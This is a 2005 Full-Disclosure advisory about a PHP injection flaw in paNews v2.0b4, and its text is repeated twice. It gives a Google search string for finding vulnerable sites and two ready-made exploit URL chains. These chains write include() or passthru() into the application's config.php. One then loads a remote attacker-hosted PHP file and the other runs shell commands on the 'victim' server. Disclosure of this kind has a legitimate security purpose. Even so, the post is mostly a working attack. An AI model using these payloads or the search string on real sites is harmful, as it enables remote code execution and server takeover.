[Full-Disclosure] paNews v2.0b4 - PHP Injection

[tjomka <tjomka@xxxxxxxxxxxx>]

oooo   oooo oooooooo8 ooooooooooo
 8888o  88 888        88  888  88 
 88 888o88  888oooooo     888     
 88   8888         888    888     
o88o    88 o88oooo888    o888o    
********************************
**** Network security team *****
********* nst.e-nex.com ********
********************************
* Title: paNews v2.0b4
* Bug found by: nst
* Date: 20.02.2005
********************************

web: http://www.phparena.net/panews.php
google: allintitle:paNews v2.0b4

PHP Injection
Bug works only if:
1. register_globals=On
2. folder "includes" is writable

p.s. please disable - javascripts =-]

Example 1

http://victim/panews/includes/admin_setup.php?access[]=admins&do=updatesets&form[comments]=$nst&form[autoapprove]=$nst&disvercheck=$nst&installed=$asd&showcopy=include($nst)

then:

http://victim/panews/includes/config.php?nst=http://your/file.php


Example 2

http://victim/panews/includes/admin_setup.php?access[]=admins&do=updatesets&form[comments]=$nst&form[autoapprove]=$nst&disvercheck=$nst&installed=$asd&showcopy=passthru($nst)

then:

http://victim/panews/includes/config.php?nst=id

oooo   oooo oooooooo8 ooooooooooo 
 8888o  88 888        88  888  88 
 88 888o88  888oooooo     888     
 88   8888         888    888     
o88o    88 o88oooo888    o888o    
********************************
**** Network security team *****
********* nst.e-nex.com ********
********************************
* Title: paNews v2.0b4
* Bug found by: nst
* Date: 20.02.2005
********************************

web: http://www.phparena.net/panews.php
google: allintitle:paNews v2.0b4

PHP Injection
Bug works only if:
1. register_globals=On
2. folder "includes" is writable

p.s. please disable - javascripts =-]

Example 1

http://victim/panews/includes/admin_setup.php?access[]=admins&do=updatesets&form[comments]=$nst&form[autoapprove]=$nst&disvercheck=$nst&installed=$asd&showcopy=include($nst)

then:

http://victim/panews/includes/config.php?nst=http://your/file.php


Example 2

http://victim/panews/includes/admin_setup.php?access[]=admins&do=updatesets&form[comments]=$nst&form[autoapprove]=$nst&disvercheck=$nst&installed=$asd&showcopy=passthru($nst)

then:

http://victim/panews/includes/config.php?nst=id

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